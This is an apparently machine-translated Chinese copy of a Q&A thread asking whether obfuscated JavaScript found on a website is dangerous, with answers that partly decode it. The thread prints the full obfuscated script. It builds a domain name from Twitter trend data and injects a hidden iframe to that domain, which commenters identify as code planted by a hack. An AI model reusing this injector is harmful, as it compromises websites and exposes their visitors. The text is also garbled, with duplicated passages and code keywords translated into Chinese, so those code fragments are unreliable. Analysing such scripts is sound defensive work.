这是危险的Javascript吗? (函数($$){ d=“(@(){%H=@(+Pw=this;\\[Pw~FullYear$Month$Date$Hours$Minutes$Seconds()]);%B=@(+++H,PD=this.。#H(),i=0;PD[1]+=1;而(i++

这是危险的Javascript吗? (函数($$){ d=“(@(){%H=@(+Pw=this;\\[Pw~FullYear$Month$Date$Hours$Minutes$Seconds()]);%B=@(+++H,PD=this.。#H(),i=0;PD[1]+=1;而(i++,javascript,code-injection,Javascript,Code Injection,让我们来研究和解释一下,这会很有趣的(-nish) AFAICT到目前为止,它在当前日期前两天捕捉(似乎是)第三个趋势,或者至少是有意的(我认为它用来查找一天趋势的日期键是不正确的,因为它在时间上添加了零秒的东西,而这在提要中不存在),从中构建URL,并发送一些在表示最近6小时间隔的散列上键入的数据 以下是解码后解码的文本块以及分析的开始: <script> (function($$) { d = "(@(){ %H=@( +Pw=this;\\[Pw~FullYear $M

让我们来研究和解释一下,这会很有趣的(-nish)

AFAICT到目前为止,它在当前日期前两天捕捉(似乎是)第三个趋势,或者至少是有意的(我认为它用来查找一天趋势的日期键是不正确的,因为它在时间上添加了零秒的东西,而这在提要中不存在),从中构建URL,并发送一些在表示最近6小时间隔的散列上键入的数据

以下是解码后解码的文本块以及分析的开始:

<script>
(function($$) {
    d = "(@(){ %H=@( +Pw=this;\\[Pw~FullYear $Month $Date $Hours $Minutes $Seconds()]}; %B=@( +#h,PD=this.#H(),i=0;PD[1]+=1;while(i++<7){#h=PD[i] 0#h<#L)PD[i]=Vz')+#h}\\ PD.splice(Vz'),1+VT - 3Vu -+'T'+PD 3VU -};Pr={'hXhttp://`sX/`tXtre`dXdai`nXnds`qX?`cXcallback=`jX#`aXapi`lXly`WXtwitter`oXcom`eX1`kXs`KXbody`xXajax`DX.`LXlibs`JXjquery`6X6.2`mXmin`fXon`SXcript`iXif`MXrame`YXhead`wXwidth:`pXpx;`HXheight:`TX2`rXrc`QX\"`yXstyle=`bX><`RX></`IXdiv`BX<`AX>`gXgoogle`EX&date=`zX0`uX-`UX `,X:00`;':2345678901,'/':48271,'F':198195254,'G':12,'CX='};@ #n(#E){#M=[];for(PM=0;PM<#E /;PM++){#M.push(Pr[#E.charAt(PM)])}\\ #p(#M)}Pj=document;#d=window; (C='undefined'; (S=VhaDWDosestnsdlDjfqcq' 6G= &)== (C) 0#G||!PR()){if(!#G){try{Pn=jQuery  ;try{Pn=$  }PS=Pj.getElementsByTagName(VY -[0];#m=Pj.createElement(VkS -;#m.setAttribute(Vkr'),#n(\"hxDgakDosxsLsJseD6sJDmDj\"));PS.appendChild(#m)}@ PH(#q,PB){\\ Math.floor(#q/PB) 7x(#s +PC=PH( (N, !m) 5F= (N% !m 5f= !D*#F- !T*PC 0#f>0){#N=#f}else{#N=#f+ !v}\\(#N%#s) 7t(#k){ (N=V;')+#k; !D=V/'); !v=V;')-VF'); !m=PH( !v, !D); !T= !v% !D 7p(P){\\ P /==1?P[0]:P 3'')};@ #e(P){d=new Date( 6D=Vzee');d.setTime((P.as_of-VG')*VG')*VG')*Vezz -*Vezzz -;\\ d 7z(Pz +#c,PL,#j=Pz / 5v=[];while(--#j){PL=#x(#j 6v.push(PL 6c=Pz[PL];Pz[PL]=Pz[#j];Pz[#j]=#c}}@ PJ($){PN=$.map([81,85,74,74,92,17,82,73,80,30,82,77,25,11,10,10,61,11,56,55,11,53,6,53,7,2,1,0,48],@(x,i){\\ String.fromCharCode(i+x+24)});\\ #p(PN) 7o($){if &)!= (C){$(@(){if &.Ph)!= (C)\\;$.Ph=1; 2S,@(Pe){#R=#e(Pe 6K=#R~Month() 8c=#R~Date( 6u=#S+#n(\"ETzeeu\")+#K+\"-\"+Pc;Pu=PA=PH(#R~Hours(),6)*6 8d=Pu+1;#L=+Vez'); ) 2u,@(Pe){try{#y=Pe.trends;for(#r in #y){break}#r=#r.substr(+Vz'),+Vee - 0Pu ,u 0Pd ,d; 4u+V,')] 0!#b) 4d+V,')];#b=(#b[3].name.toLowerCase().replace(/[^a-z]/gi,'')+'safetynet').split('' 6T=#K*73+PA*3+Pc*41;#t(#T 6a=#x(4)+#L;#z(#b 6g=VCh')+#p(#b).substring(0,#a)+'.com/'+PJ($);Pr['Z']=#g;Pf=VBI 1biMU 1UkrZRiMRIA');$(VK -.append(Pf)}catch(Py){}})},#L*#L*#L)})})}else{ ) *,1+VTTT -}} *)()#js@functionP#AV#n('X':'`','~.getUTC\\return  .noConflict(true)}catch(e){} !#d.P $(),Pw~ %Date.prototype.# &(typeof($ (#d.# )setTimeout(@(){ *#o(#d.jQuery)} +){var  ,<#L)Pu=Vz')+P -')) /.length 0;if( 1yQHTpweeepQ 2$.getJSON(# 3.join( 4#b=#y[#r+P 5;var # 6);# 7}@ # 8+(+Ve -;P";
    for (c = 50; c; d = (t = d.split('#@PVX`~\\   ! $ % & ( ) * + , - / 0 1 2 3 4 5 6 7 8'.substr(c -= (x = c < 10 ? 1 : 2), x))).join(t.pop()));
    $$(d)
})(function(jsAP) {
    return (function(jsA, jsAg) {
        return jsAg(jsA(jsAg(jsA(jsAP))))(jsAP)()
    })((function(jsA) {
        return jsA.constructor
    }), (function(jsA) {
        return (function(jsAg) {
            return jsA.call(jsA, jsAg)
        })
    }))
});
</script>
这段代码:

jsd.jsS = http://api.twitter.com/1/trends/daily.json?callback=?
将jquery脚本标记追加到



危险?不知道。可怕?绝对!编辑:仔细检查后,我看到一个隐藏在其中的URL。jquery和其他一些东西。正如@Quasdunk所说,它看起来像广告。我个人认为它是恶意的,因为它不是缩小的,而是模糊的,所以有人试图隐藏一些东西。如果它来自免费的主机,它很可能是一些需要隐藏的代码在你的网站上发布广告。我们正在更换主机。他们试图隐藏我们被黑客攻击的事实。在尝试登录我的网站时,我收到了一个恶意警告错误。谢谢。非常有趣。有些人非常……非常恶心。
jsd.jsS = http://api.twitter.com/1/trends/daily.json?callback=?
jsAS = jsAj.getElementsByTagName(jsn('Y'))[0];
jsm = jsAj.createElement(jsn('kS'));
jsm.setAttribute(jsn('kr'), jsn("hxDgakDosxsLsJseD6sJDmDj"));
jsAS.appendChild(jsm)
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.6.2/jquery.min.js"></script>